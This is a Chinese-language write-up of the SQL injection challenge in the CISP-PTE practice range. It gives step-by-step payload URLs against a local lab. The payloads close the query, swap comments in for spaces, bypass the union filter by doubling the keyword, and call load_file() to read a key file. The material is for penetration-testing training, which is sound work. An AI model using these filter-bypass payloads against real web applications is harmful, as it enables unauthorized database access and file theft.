CISP-PTE靶场通关思路分享-SQL注入篇(十分友好,无比详细)
pte靶场中包含5道web题,此靶场为模拟靶场
SQL注入
首先打开本地搭建的网址,发现我们需要利用SQL注入对/tmp/360/key文件进行读取,读取该文件需要使用load_file()函数,该函数是MySQL中常见内置函数。
进入答题后,发现由当前执行的SQL语句,按照当前执行的SQL语句对SQL语法进行闭合
1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1%27)# #闭合,输入#,发现#已被过滤,则用%23进行替换,发现空格也被过滤,空格的替换可以使用%0a或者/**/或者()或者+等进行替换 2 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1%27)%23 #成功闭合SQL语句
我们使用%23替换#;使用/**/替换空格;接下来使用order by语法对行号进行判断,最后在使用union select判断显示位
首先判断行号,使用order by判断后的结果是4
1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/5%23 2 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/4%23
进行union联合注入,发现union函数被过滤
1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1')/**/union/**/select/**/1,2,3,4%23 发现union被过滤
当过滤掉关键函数时,双写关键函数进行绕过是常见的方法之一,我们尝试双写union绕过,发现成功绕过
1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1%27)/**/ununionion/**/select/**/1,2,3,4%23
接下来需要在可以显示的位置使用load_file()函数将敏感信息显示出来
1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1%27)/**/ununionion/**/select/**/1,2,3,load_file("/tmp/360/key")%23
显示成功:
总结:本题主要思路:本题过滤了#、空格、union关键字;若要读取/tmp/360/key中的内容可以使用load_file()函数